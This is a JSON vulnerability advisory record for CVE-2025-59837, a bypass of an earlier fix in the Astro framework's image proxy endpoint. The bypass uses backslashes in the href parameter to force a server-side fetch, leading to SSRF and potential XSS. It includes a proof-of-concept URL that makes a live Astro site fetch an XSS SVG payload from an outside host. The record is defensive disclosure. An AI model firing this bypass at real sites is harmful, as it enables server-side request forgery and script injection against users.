{"id":"GHSA-qcpr-679q-rhm2","summary":"Astro's bypass of image proxy domain validation leads to SSRF and potential XSS","details":"### Summary\n\nThis is a patch bypass of CVE-2025-58179 in commit [9ecf359](https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252). The fix blocks `http://`, `https://` and `//`, but can be bypassed using backslashes (`\\`) - the endpoint still issues a server-side fetch.\n\n### PoC\n[https://astro.build/_image?href=\\\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg](https://astro.build/_image?href=%5C%5Craw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg)","aliases":["CVE-2025-59837"],"modified":"2025-10-29T14:48:45Z","published":"2025-10-28T17:45:04Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-10-28T17:45:04Z","nvd_published_at":"2025-10-28T20:15:49Z","cwe_ids":["CWE-79","CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/withastro/astro/security/advisories/GHSA-qcpr-679q-rhm2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59837"},{"type":"WEB","url":"https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4"},{"type":"WEB","url":"https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252"},{"type":"PACKAGE","url":"https://github.com/withastro/astro"}],"affected":[{"package":{"name":"astro","ecosystem":"npm","purl":"pkg:npm/astro"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.13.4"},{"fixed":"5.13.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-qcpr-679q-rhm2/GHSA-qcpr-679q-rhm2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"}]}